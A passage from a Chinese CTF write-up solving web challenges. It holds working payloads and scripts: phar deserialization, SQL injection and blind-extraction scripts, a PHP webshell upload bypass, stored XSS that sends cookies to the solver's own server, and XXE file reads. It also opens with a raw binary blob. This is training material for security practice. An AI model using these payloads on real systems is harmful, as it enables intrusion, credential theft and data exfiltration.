\x04-\x04;\x04H\x04U\x04c\x04q\x04~\x04\x8c\x04\x9a\x04\xa8\x04\xb6\x04\xc4\x04\xd3\x04\xe1\x04\xf0\x04\xfe\x05\r\x05\x1c\x05+\x05:\x05I\x05X\x05g\x05w\x05\x86\x05\x96\x05\xa6\x05\xb5\x05\xc5\x05\xd5\x05\xe5\x05\xf6\x06\x06\x06\x16\x06'\x067\x06H\x06Y\x06j\x06{\x06\x8c\x06\x9d\x06\xaf\x06\xc0\x06\xd1\x06\xe3\x06\xf5\x07\x07\x07\x19\x07+\x07=\x07O\x07a\x07t\x07\x86\x07\x99\x07\xac\x07\xbf\x07\xd2\x07\xe5\x07\xf8\x08\x0b\x08\x1f\x082\x08F\x08Z\x08n\x08\x82\x08\x96\x08\xaa\x08\xbe\x08\xd2\x08\xe7\x08\xfb\x09\x10\x09%\x09:\x09O\x09d\x09y\x09\x8f\x09\xa4\x09\xba\x09\xcf\x09\xe5\x09\xfb\n\x11\n'\n=\nT\nj\n\x81\n\x98\n\xae\n\xc5\n\xdc\n\xf3\x0b\x0b\x0b\"\x0b9\x0bQ\x0bi\x0b\x80\x0b\x98\x0b\xb0\x0b\xc8\x0b\xe1\x0b\xf9\x0c\x12\x0c*\x0cC\x0c\\\x0cu\x0c\x8e\x0c\xa7\x0c\xc0\x0c\xd9\x0c\xf3\r\r\r&\r@\rZ\rt\r\x8e\r\xa9\r\xc3\r\xde\r\xf8\x0e\x13\x0e.\x0eI\x0ed\x0e\x7f\x0e\x9b\x0e\xb6\x0e\xd2\x0e\xee\x0f\x09\x0f%\x0fA\x0f^\x0fz\x0f\x96\x0f\xb3\x0f\xcf\x0f\xec\x10\x09\x10&\x10C\x10a\x10~\x10\x9b\x10\xb9\x10\xd7\x10\xf5\x11\x13\x111\x11O\x11m\x11\x8c\x11\xaa\x11\xc9\x11\xe8\x12\x07\x12&\x12E\x12d\x12\x84\x12\xa3\x12\xc3\x12\xe3\x13\x03\x13\x23\x13C\x13c\x13\x83\x13\xa4\x13\xc5\x13\xe5\x14\x06\x14'\x14I\x14j\x14\x8b\x14\xad\x14\xce\x14\xf0\x15\x12\x154\x15V\x15x\x15\x9b\x15\xbd\x15\xe0\x16\x03\x16&\x16I\x16l\x16\x8f\x16\xb2\x16\xd6\x16\xfa\x17\x1d\x17A\x17e\x17\x89\x17\xae\x17\xd2\x17\xf7\x18\x1b\x18@\x18e\x18\x8a\x18\xaf\x18\xd5\x18\xfa\x19 \x19E\x19k\x19\x91\x19\xb7\x19\xdd\x1a\x04\x1a*\x1aQ\x1aw\x1a\x9e\x1a\xc5\x1a\xec\x1b\x14\x1b;\x1bc\x1b\x8a\x1b\xb2\x1b\xda\x1c\x02\x1c*\x1cR\x1c{\x1c\xa3\x1c\xcc\x1c\xf5\x1d\x1e\x1dG\x1dp\x1d\x99\x1d\xc3\x1d\xec\x1e\x16\x1e@\x1ej\x1e\x94\x1e\xbe\x1e\xe9\x1f\x13\x1f>\x1fi\x1f\x94\x1f\xbf\x1f\xea \x15 A l \x98 \xc4 \xf0!\x1c!H!u!\xa1!\xce!\xfb\"'\"U\"\x82\"\xaf\"\xdd\x23\n\x238\x23f\x23\x94\x23\xc2\x23\xf0\x24\x1f\x24M\x24|\x24\xab\x24\xda%\x09%8%h%\x97%\xc7%\xf7&'&W&\x87&\xb7&\xe8'\x18'I'z'\xab'\xdc(\r(?(q(\xa2(\xd4)\x06)8)k)\x9d)\xd0*\x02*5*h*\x9b*\xcf+\x02+6+i+\x9d+\xd1,\x05,9,n,\xa2,\xd7-\x0c-A-v-\xab-\xe1.\x16.L.\x82.\xb7.\xee/\x24/Z/\x91/\xc7/\xfe050l0\xa40\xdb1\x121J1\x821\xba1\xf22*2c2\x9b2\xd43\r3F3\x7f3\xb83\xf14+4e4\x9e4\xd85\x135M5\x875\xc25\xfd676r6\xae6\xe97\x247`7\x9c7\xd78\x148P8\x8c8\xc89\x059B9\x7f9\xbc9\xf9:6:t:\xb2:\xef;-;k;\xaa;\xe8<'<e<\xa4<\xe3=\"=a=\xa1=\xe0> >`>\xa0>\xe0?!?a?\xa2?\xe2@\x23@d@\xa6@\xe7A)AjA\xacA\xeeB0BrB\xb5B\xf7C:C}C\xc0D\x03DGD\x8aD\xceE\x12EUE\x9aE\xdeF\"FgF\xabF\xf0G5G{G\xc0H\x05HKH\x91H\xd7I\x1dIcI\xa9I\xf0J7J}J\xc4K\x0cKSK\x9aK\xe2L*LrL\xbaM\x02MJM\x93M\xdcN%NnN\xb7O\x00OIO\x93O\xddP'PqP\xbbQ\x06QPQ\x9bQ\xe6R1R|R\xc7S\x13S_S\xaaS\xf6TBT\x8fT\xdbU(UuU\xc2V\x0fV\\V\xa9V\xf7WDW\x92W\xe0X/X}X\xcbY\x1aYiY\xb8Z\x07ZVZ\xa6Z\xf5[E[\x95[\xe5\\5\\\x86\\\xd6]']x]\xc9^\x1a^l^\xbd_\x0f_a_\xb3`\x05`W`\xaa`\xfcaOa\xa2a\xf5bIb\x9cb\xf0cCc\x97c\xebd@d\x94d\xe9e=e\x92e\xe7f=f\x92f\xe8g=g\x93g\xe9h?h\x96h\xeciCi\x9ai\xf1jHj\x9fj\xf7kOk\xa7k\xfflWl\xafm\x08m`m\xb9n\x12nkn\xc4o\x1eoxo\xd1p+p\x86p\xe0q:q\x95q\xf0rKr\xa6s\x01s]s\xb8t\x14tpt\xccu(u\x85u\xe1v>v\x9bv\xf8wVw\xb3x\x11xnx\xccy*y\x89y\xe7zFz\xa5{\x04{c{\xc2|!|\x81|\xe1}A}\xa1~\x01~b~\xc2\x7f\x23\x7f\x84\x7f\xe5\x80G\x80\xa8\x81\n\x81k\x81\xcd\x820\x82\x92\x82\xf4\x83W\x83\xba\x84\x1d\x84\x80\x84\xe3\x85G\x85\xab\x86\x0e\x86r\x86\xd7\x87;\x87\x9f\x88\x04\x88i\x88\xce\x893\x89\x99\x89\xfe\x8ad\x8a\xca\x8b0\x8b\x96\x8b\xfc\x8cc\x8c\xca\x8d1\x8d\x98\x8d\xff\x8ef\x8e\xce\x8f6\x8f\x9e\x90\x06\x90n\x90\xd6\x91?\x91\xa8\x92\x11\x92z\x92\xe3\x93M\x93\xb6\x94 \x94\x8a\x94\xf4\x95_\x95\xc9\x964\x96\x9f\x97\n\x97u\x97\xe0\x98L\x98\xb8\x99\x24\x99\x90\x99\xfc\x9ah\x9a\xd5\x9bB\x9b\xaf\x9c\x1c\x9c\x89\x9c\xf7\x9dd\x9d\xd2\x9e@\x9e\xae\x9f\x1d\x9f\x8b\x9f\xfa\xa0i\xa0\xd8\xa1G\xa1\xb6\xa2&\xa2\x96\xa3\x06\xa3v\xa3\xe6\xa4V\xa4\xc7\xa58\xa5\xa9\xa6\x1a\xa6\x8b\xa6\xfd\xa7n\xa7\xe0\xa8R\xa8\xc4\xa97\xa9\xa9\xaa\x1c\xaa\x8f\xab\x02\xabu\xab\xe9\xac\\\xac\xd0\xadD\xad\xb8\xae-\xae\xa1\xaf\x16\xaf\x8b\xb0\x00\xb0u\xb0\xea\xb1`\xb1\xd6\xb2K\xb2\xc2\xb38\xb3\xae\xb4%\xb4\x9c\xb5\x13\xb5\x8a\xb6\x01\xb6y\xb6\xf0\xb7h\xb7\xe0\xb8Y\xb8\xd1\xb9J\xb9\xc2\xba;\xba\xb5\xbb.\xbb\xa7\xbc!\xbc\x9b\xbd\x15\xbd\x8f\xbe\n\xbe\x84\xbe\xff\xbfz\xbf\xf5\xc0p\xc0\xec\xc1g\xc1\xe3\xc2_\xc2\xdb\xc3X\xc3\xd4\xc4Q\xc4\xce\xc5K\xc5\xc8\xc6F\xc6\xc3\xc7A\xc7\xbf\xc8=\xc8\xbc\xc9:\xc9\xb9\xca8\xca\xb7\xcb6\xcb\xb6\xcc5\xcc\xb5\xcd5\xcd\xb5\xce6\xce\xb6\xcf7\xcf\xb8\xd09\xd0\xba\xd1<\xd1\xbe\xd2?\xd2\xc1\xd3D\xd3\xc6\xd4I\xd4\xcb\xd5N\xd5\xd1\xd6U\xd6\xd8\xd7\\\xd7\xe0\xd8d\xd8\xe8\xd9l\xd9\xf1\xdav\xda\xfb\xdb\x80\xdc\x05\xdc\x8a\xdd\x10\xdd\x96\xde\x1c\xde\xa2\xdf)\xdf\xaf\xe06\xe0\xbd\xe1D\xe1\xcc\xe2S\xe2\xdb\xe3c\xe3\xeb\xe4s\xe4\xfc\xe5\x84\xe6\r\xe6\x96\xe7\x1f\xe7\xa9\xe82\xe8\xbc\xe9F\xe9\xd0\xea[\xea\xe5\xebp\xeb\xfb\xec\x86\xed\x11\xed\x9c\xee(\xee\xb4\xef@\xef\xcc\xf0X\xf0\xe5\xf1r\xf1\xff\xf2\x8c\xf3\x19\xf3\xa7\xf44\xf4\xc2\xf5P\xf5\xde\xf6m\xf6\xfb\xf7\x8a\xf8\x19\xf8\xa8\xf98\xf9\xc7\xfaW\xfa\xe7\xfbw\xfc\x07\xfc\x98\xfd)\xfd\xba\xfeK\xfe\xdc\xffm\xff\xffpara\x00\x00\x00\x00\x00\x03\x00\x00\x00\x02ff\x00\x00\xf2\xa7\x00\x00\rY\x00\x00\x13\xd0\x00\x00\n[vcgt\x00\x00\x00\x00\x00\x00\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00ndin\x00\x00\x00\x00\x00\x00\x006\x00\x00\xae\x00\x00\x00R\x00\x00\x00C\xc0\x00\x00\xb0\xc0\x00\x00&@\x00\x00\r\x80\x00\x00P\x00\x00\x00T@\x00\x0233\x00\x0233\x00\x0233\x00\x00\x00\x00\x00\x00\x00\x00sf32\x00\x00\x00\x00\x00\x01\x0cr\x00\x00\x05\xf8\xff\xff\xf3\x1d\x00\x00\x07\xba\x00\x00\xfdr\xff\xff\xfb\x9d\xff\xff\xfd\xa4\x00\x00\x03\xd9\x00\x00\xc0qmmod\x00\x00\x00\x00\x00\x00\x06\x10\x00\x00\xa0@\x00\x00\x00\x00\xd5\x18d\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xc0\x00\x11\x08\x00\x0c\x00\x0c\x03\x01\"\x00\x02\x11\x01\x03\x11\x01\xff\xc4\x00\x1f\x00\x00\x01\x05\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\xff\xc4\x00\xb5\x10\x00\x02\x01\x03\x03\x02\x04\x03\x05\x05\x04\x04\x00\x00\x01}\x01\x02\x03\x00\x04\x11\x05\x12!1A\x06\x13Qa\x07\"q\x142\x81\x91\xa1\x08\x23B\xb1\xc1\x15R\xd1\xf0\x243br\x82\x09\n\x16\x17\x18\x19\x1a%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz\x83\x84\x85\x86\x87\x88\x89\x8a\x92\x93\x94\x95\x96\x97\x98\x99\x9a\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xff\xc4\x00\x1f\x01\x00\x03\x01\x01\x01\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\xff\xc4\x00\xb5\x11\x00\x02\x01\x02\x04\x04\x03\x04\x07\x05\x04\x04\x00\x01\x02w\x00\x01\x02\x03\x11\x04\x05!1\x06\x12AQ\x07aq\x13\"2\x81\x08\x14B\x91\xa1\xb1\xc1\x09\x233R\xf0\x15br\xd1\n\x16\x244\xe1%\xf1\x17\x18\x19\x1a&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x92\x93\x94\x95\x96\x97\x98\x99\x9a\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xff\xdb\x00C\x00\x02\x02\x02\x02\x02\x02\x03\x02\x02\x03\x05\x03\x03\x03\x05\x06\x05\x05\x05\x05\x06\x08\x06\x06\x06\x06\x06\x08\n\x08\x08\x08\x08\x08\x08\n\n\n\n\n\n\n\n\x0c\x0c\x0c\x0c\x0c\x0c\x0e\x0e\x0e\x0e\x0e\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\xff\xdb\x00C\x01\x02\x02\x02\x04\x04\x04\x07\x04\x04\x07\x10\x0b\x09\x0b\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\xff\xdd\x00\x04\x00\x01\xff\xda\x00\x0c\x03\x01\x00\x02\x11\x03\x11\x00?\x00\xfc\x93\xa2\x8a(4?\xff\xd9<?php __HALT_COMPILER(); ?>\r\n\xbd\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x00\x00\x87\x00\x00\x00O:7:\"Picture\":3:{s:7:\"sandbox\";s:2:\"||\";s:8:\"fileName\";s:46:\"/readflag > /var/www/html/picture/here_is_flag\";s:9:\"extension\";s:2:\"||\";}\x08\x00\x00\x00test.txt\x04\x00\x00\x00\x06\x88\xc9\\\x04\x00\x00\x00\x0c~\x7f\xd8\xb6\x01\x00\x00\x00\x00\x00\x00test\xa8t\x9ci\xfc\x91\xc1yY\x94?\xa6\xe6\x91\xce\x1a\x83mhE\x02\x00\x00\x00GBMB", 'image/jpeg'))] headers = {"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0","Referer":"http://47.106.182.92:8233/index.php","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"} response = session.post(ip + "upload.php", files=paramsMultipart, headers=headers)content = json.loads(response.content) orgin_url = content['success']['orgin']paramsMultipart = [['picture', ['exp.svg', "<?xml version=\"1.0\" standalone=\"no\"?>\n<!DOCTYPE svg SYSTEM \"phar://./%s\">\n<svg version=\"1.0\" xmlns=\"http://www.w3.org/2000/svg\"\n width=\"1.600000pt\" height=\"3.200000pt\" viewBox=\"0 0 1.600000 3.200000\"\n preserveAspectRatio=\"xMidYMid meet\">\n<metadata>\nCreated by potrace 1.13, written by Peter Selinger 2001-2015\n</metadata>\n<g transform=\"translate(0.000000,3.200000) scale(0.080000,-0.080000)\"\nfill=\"\x23000000\" stroke=\"none\">\n</g>\n</svg>", 'application/octet-stream']]]paramsMultipart[0][1][1] = paramsMultipart[0][1][1] % orgin_url #print(paramsMultipart[0][1][1]) response = session.post(ip + "upload.php", files=paramsMultipart, headers=headers)print requests.get(ip + "/picture/here_is_flag").content12、Babysql
題目描述:成信大的學生真是不得了,這么多黑客,不過這次我做了防御的!
這題和前面第五題差不多,就是過濾了or和by雙寫就能繞過
13、神秘的三葉草
題目描述:柳暗花明
打開網址F12查看,發(fā)現(xiàn)氛圍兩個字有一個a標簽,鏈接到Secret.php文件
直接訪問
抓包,在里面加上referer:https://www.Sycsecret.com
轉發(fā)之后得到
在原來添加了referer字段之后,再把UA頭改為Syclover
轉發(fā)得到
在前面兩步的基礎上加上x-forwarded-for:127.0.0.1,轉發(fā)得到flag
14、Eval evil code
題目描述:Lamber是個老實人,他會執(zhí)行你給他的代碼。
題解:參考官方題解
打開題目網址,有兩個輸入框,上面那個是你要它執(zhí)行的代碼,下面那個驗證碼,然后驗證碼經過md5加密后的前四位已經給你了
先給出我跑驗證碼的腳本,這里四位都是數(shù)字的肯定能跑出來,其他的基本跑不出,不過下面有官方的腳本
import hashlib,sys def getMD5(Cap):for x in range(100000,1000000):captcha=xMD5=hashlib.md5(str(captcha)).hexdigest()if MD5[:4] == Cap:return captcha print getMD5('四位數(shù)字')這里我先是輸入了phpinfo();,記住這個后面的分號好一定要帶上,發(fā)現(xiàn)能成功執(zhí)行
然后執(zhí)行系統(tǒng)命令,發(fā)現(xiàn)提示,不能執(zhí)行帶參的函數(shù),這里我以為只要括號里有東西就不行,就不會了
?
下面給出官方思路
1、爆破md5的部分見下方的法二腳本處。 結合scandir(),getcwd(),readfile()等函數(shù)遍歷當前目錄的所有文件名,再結合array_reverse和next讀取倒數(shù)第二個文件,也就是flag文件。 payload=readfile(next(array_reverse(scandir(getcwd())))); //讀取倒數(shù)第二個文件,記得帶上分號 2、 想辦法獲得我們需要的惡意參數(shù) 這里利用自定義變量獲得。 腳本如下? # -*- coding: UTF-8 -*- import requests import hashlib import re import random import sys url='http://148.70.59.198:34386/index.php?a=system("cat theflag.php");' headers={ 'Content-Type': 'application/x-www-form-urlencoded','Cookie':'PHPSESSID=1a0ab8abc64974479646b48938cda2e4' } def getCap():res=requests.get(url=url,headers=headers).textr=re.search("substr\(md5\(\$captcha\),0,4\) =='(.*?)'",res)c=r.group(1)md5_value=''x=''while c!=md5_value:x=str(random.random())md5_value=hashlib.md5(x.encode("utf-8")).hexdigest()[:4]return x def test(poc,cap):data='payload={}&code={}'.format(poc,cap)res=requests.post(url=url,headers=headers,data=data).textreturn res a=test('eval(end(pos(get_defined_vars())));',getCap()) print(a[:500])?
3、
依舊是想辦法獲得惡意參數(shù)。 在http header頭中注入惡意參數(shù),再利用getallheaders函數(shù)獲得參數(shù) 。 ayrain: system(' cat theflag.php '); payload=eval(end(getallheaders()));15、Jiang‘s Secret
題目描述:我在那放了一個秘密!
這題可以F12查看源碼,這里介紹一個騷方法,直接ctrl+A全選,發(fā)現(xiàn)多了個Oh!You found me,點擊之后跳到Archive_room.php界面
點擊Secret之后直接跳到end.php,提示:沒看清么?回去再仔細看看吧。
返回去,F12查看源碼,發(fā)現(xiàn)Secret的a標簽鏈接的是action.php,直接訪問然后抓包,放到repeater模塊發(fā)送一下得到一個文件名
訪問一下,得到源碼
<html><title>secret</title><meta charset="UTF-8"> <?phphighlight_file(__FILE__);error_reporting(0);$file=$_GET['file'];if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){echo "Oh no!";exit();}include($file); //flag放在了flag.php里 ?> </html>這里過濾了一些東西,但是可以直接使用php://fiter偽協(xié)議讀取文件,payload
file=php://filter/convert.base64-encode/resource=flag.php16、Hardsql
題目描述:信安之路,任重道遠…
hint:sql報錯注入
sql報錯注入,這里過濾了空格,使用括號繞過;過濾了and,使用or代替,后面語句where條件只用一個;過濾了等于號,使用like繞過
http://118.25.14.40:8103/check.php?username=admin%27or(updatexml(1,concat(%27~%27,(select(database())),%27~%27),3))%23&password=123 #爆數(shù)據庫名 geek http://118.25.14.40:8103/check.php?username=admin%27or(updatexml(1,concat(%27~%27,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),%27~%27),3))%23&password=123 #爆表名 H4rDsq1 http://118.25.14.40:8103/check.php?username=admin%27or(updatexml(1,concat(%27~%27,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),%27~%27),3))%23&password=123 #爆字段 id,username,password http://118.25.14.40:8103/check.php?username=admin%27or(updatexml(1,concat(%27~%27,(select(group_concat(password))from(H4rDsq1)),%27~%27),3))%23&password=123 #得到flag更:
做buuoj的時候這里會出現(xiàn)flag不全的問題,這是因為updatexml爆出信息有長度限制32位,這時候可以用substr來截斷,但是這里被過濾了,這里可以使用right函數(shù),函數(shù)作用就是從右往左截取length個字符,后面那個34可以自己調控,沒出來就改這個數(shù)字,多試試
admin'or(updatexml(1,right(concat(%27~%27,(select(group_concat(password))from(H4rDsq1)),%27~%27),34),3))%23?
17、你有特洛伊么
題目描述:dGhpcyBpcyBub3QgZWFzeQ==
打開題目網址,發(fā)現(xiàn)上傳按鈕
直接上傳一個php一句話,會提示"not image!"
上面檢測的是content-type類型,將其改為image/jpeg可繞過
這個上面檢測的是php后綴名,將其改為phtml,成功繞過
上面這個過濾的很明顯,不能出現(xiàn)"<?",那就換個一句話<script language="php">eval($_GET['x']);</script>實行繞過
最后這個過濾是檢查文件頭,在內容前面加上GIF89,就可以上傳成功
但是這里只告訴了文件名,沒有告訴路徑,盲猜在文件夾upload下,最后訪問頁面測試一下
http://118.25.14.40:8107/upload/shell.phtml?x=phpinfo();測試成功,可以菜刀連接,也可以直接執(zhí)行系統(tǒng)命令,得到flag
http://118.25.14.40:8107/upload/shell.phtml?x=system(%22cat%20/flag/flag.txt%22);這里分享一下騷操作,就是直接訪問upload文件夾,去跑別人的馬,就算沒跑出來,也可以獲得一些做題方法
18、Leixiao's blog
題目描述:你會盜號嗎??
hint:儲存型XSS && 認真測試各個功能點(懷疑機器人掛了的Q我)
題解:官方說xss點在忘記密碼那里
先隨便注冊一個賬號,mmmmm/mmmmm,然后密保問題是test,當我們填寫完會發(fā)現(xiàn)它被寫入網頁的位置,就可以閉合標簽
?
這里提供一下官方的思路,先在自己的公網服務器上新建一個x.js的文件,里面寫入
window.location='http://你的公網服務器/cookie='+document.cookie;然后注冊的時候把密保問題改為下面這個,記住不是答案,是問題
"></script/src=//你的公網服務器ip地址/x.js> 官方說這里好像填10進制的ip機器人不解析,得換成16進制然后觸發(fā)xss的點是在登陸之后的report模塊里,將忘記密碼的網址填進去
查看日志即可獲取cookie
然后刷新網頁,抓包,更改cookie,即可獲取flag
在這里非常感謝淚笑師傅的指導!!!
19、反序列化1.0
題目描述:socre10000拿到flag
打開題目,F12得到關鍵代碼
<!-- class Student {public $score = 0;public function __destruct(){echo "__destruct working";if($this->score==10000) {$flag = "******************";echo $flag;}} } $exp = $_GET['exp']; echo "<br>"; unserialize($exp);?>直接構造payload:
<?phpclass Student{public $score = 0;public function __destruct(){echo "__destruct working";if($this->score==10000) {$flag = "******************";echo $flag;}}}$o=new Student;$o->score=10000;echo serialize($o); ?>//打印O:7:"Student":1:{s:5:"score";i:10000;}?exp=O:7:"Student":1:{s:5:"score";i:10000;}拿到flag
20、又來一只貓
題目描述:我家貓名字叫php
打開網址,發(fā)現(xiàn)提示信息,有備份網站的習慣,直接訪問http://118.25.14.40:8109/www.zip得到源碼
發(fā)現(xiàn)幾個關鍵的文件:index.php、class.php、flag.php
flag.php里面的flag是假的,查看index.php和class.php,發(fā)現(xiàn)關鍵代碼
//index.php <?phpinclude 'class.php';$select = $_GET['select'];$res=unserialize(@$select); ?>//class.php <?php include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}} } ?>這里介紹一下__wakeup,它是一個魔術方法,會在反序列化時調用,但是可以被繞過
O:7:"Student":1:{s:5:"score";i:10000;} //正規(guī)的 O:7:"Student":2:{s:5:"score";i:10000;} //修改之后的 Sudent后面那個數(shù)字代表類中的成員個數(shù),修改成一個比原來大的數(shù)字,就可以繞過最后構造的payload,拿到flag
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}這里加的%00Name%00代表的是成員是private protected加的是%00*name%0021、你有初戀嗎
題目描述:你變心了嗎
打開題目網址,F12得到源碼
關鍵代碼
<!-- $adore='***************'; $now = $_POST['lover']; setcookie("Heart", md5($adore.'syclover')); if(isset($now)&&$now!=syclover) {if($_COOKIE['Heart'] === md5($adore. urldecode($now))){die ($flag);}else {die('I do not love you! You are not in my heart!');}} -->這里使用二次編碼就能繞過,但是官方題解是說想考hash長度擴展攻擊,我最后構造的payload
post:lover=%25%37%33%25%37%39%25%36%33%25%36%43%25%36%46%25%37%36%25%36%35%25%37%32?
22、Finalsql
題目描述:sql你太美:
打開網址,提示信息是sql盲注,這里的sql注入存在于上面的鏈接中
id=1時:頁面內容是NO! Not this! Click others~~~ id=2時:頁面內容是yingyingying~ Not this as well~~ id=3時:頁面內容是很多的Ohhh You find the flag read on! id=4時:頁面內容是OK OK I will tell you,just in the next! really~~~~ id=5時:頁面內容是 You are too naive!How can I give it to you? So,why not take a look at the sixth one?But where is it? id=6時:Clever! But not this table. id=其他內容時:顯示ERROR!!!訪問之后,這里利用的是id后面的參數(shù)可以做減法來注入,php作比較時返回的值要么是1,要么是0,所以可以通過判斷頁面是否發(fā)生改變來判斷語句的真假,拿id=2這個頁面來演示
這里先介紹一下盲注常用的幾個函數(shù) strcmp(a,b) #a和b相等時會返回0,a>b會返回-1,a<b返回1 ascii(),ord() #函數(shù)返回字符串的首個字符的 ASCII 值 截斷字符串使用的幾個函數(shù) substr(str,start,len) #從字符串的start下標開始,截取len個字符 left(str,len) #從左往右截取len個字符 right(str,len) #從右往左截取len個字符url:http://118.25.14.40:8104/search.php?id=2-(strcmp(database(),%27geek%27))
頁面無變化說明數(shù)據庫名就是geek,后面腳本中i的范圍也可以通過這樣來確定,當然也可以設置很長,能讀出來都行
接下來就是跑表,腳本代碼,the table_name is :F1naI1y,Flaaaaag
import sys import requeststable_name='' url="http://118.25.14.40:8104/search.php?id=2" payload1="-(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())," payload2=",1))>" payload3=")"for i in range(1,20):max=122 #zmin=43 #+ 44 ,while abs(max-min)>1: mid=int((max+min)/2)payload=url+payload1+str(i)+payload2+str(mid)+payload3#print payloadresponse=requests.get(payload)if response.content.find("others")!=-1:min=midelse:max=midtable_name=table_name+chr(max)print("the table_name is :%s" % table_name)字段名,根據前面的題目可以猜測出是id,username,password,下面只給出password的驗證代碼,其余的可以自己改
import requests url="http://118.25.14.40:8104/search.php?id=2" payload1="-(ascii(substr((select(group_concat(column_name))" payload2="from(information_schema.columns)where(table_name)=%27F1naI1y%27)," payload3=",1))=" payload4=")" a=[112,97,115,115,119,111,114,100] #password j=13 #password的起始位置 for i in range(len(a)):payload=url+payload1+payload2+str(j)+payload3+str(a[i])+payload4r=requests.get(payload)j+=1if "others" not in r.text:print payloadprint r.textelse:print "success"下面給出跑字段的腳本
import sys import requestscolumn_name='' url="http://118.25.14.40:8104/search.php?id=2" payload1="-(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='F1naI1y')," payload2=",1))>" payload3=")"for i in range(1,30):max=122 #zmin=43 #+ 44 ,while abs(max-min)>1: mid=int((max+min)/2)payload=url+payload1+str(i)+payload2+str(mid)+payload3#print payloadresponse=requests.get(payload)if response.content.find("others")!=-1:min=midelse:max=midcolumn_name=column_name+chr(max)print("the column_name is :%s" % column_name)最后跑username和password字段的內容,最終在password中得到flag
import sys import requestsusername='' url="http://118.25.14.40:8104/search.php?id=2" payload1="-(ascii(substr((select(group_concat(username))from(F1naI1y))," payload2=",1))>" payload3=")"for i in range(1,51):max=122 #zmin=43 #+ 44 ,while abs(max-min)>1: mid=int((max+min)/2)payload=url+payload1+str(i)+payload2+str(mid)+payload3#print payloadresponse=requests.get(payload)if response.content.find("others")!=-1:min=midelse:max=midusername=username+chr(max)print("the username is :%s" % username)password='' url="http://118.25.14.40:8104/search.php?id=2" payload1="-(ascii(substr((select(group_concat(password))from(F1naI1y))," payload2=",1))>" payload3=")"for i in range(1,195):max=125 #}min=43 #+ 44 ,while abs(max-min)>1: mid=int((max+min)/2)payload=url+payload1+str(i)+payload2+str(mid)+payload3#print payloadresponse=requests.get(payload)if response.content.find("others")!=-1:min=midelse:max=midpassword=password+chr(max)print("the password is :%s" % password)23、你讀懂瀟文清的網站了嗎?
題目描述:xxe
參考官方題解:
1、輸入框存在xxe,讀源碼,然后依次找到config.php upload.php等。找到文件名這里個人想法御劍掃描一下也行,因為不是能特別明確的能看到upload.php
<?xml version = "1.0"?> <!DOCTYPE note [<!ENTITY hacker SYSTEM "php://filter/read=convert.base64-encode/resource=./index.php"> ]> <name>&hacker;</name>?
上面是官方的wp,具體的步驟:
(1)現(xiàn)在輸入框隨便輸入什么東西,抓包,發(fā)送,沒什么變化
(2)xxe注入點就在123那里,在前面加個Content-Type:text/xml,然后再加上payload,即可讀取index.php文件內容
//index.php <?php error_reporting(0); include("./config.php"); date_default_timezone_set("PRC");if(!empty($_POST['submit'])){ $data= $_POST['data']; if (preg_match("/flag|decode|file|zlib|input|data|http|ftp|#/i",$data)){echo "no!!!you cant read flag right here!";exit(); }$xml = simplexml_load_string($data,'SimpleXMLElement',LIBXML_NOENT);print($xml); }?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Login</title><link href="./style_log.css" rel="stylesheet" type="text/css"><link rel="stylesheet" type="text/css" href="./style.css"><link 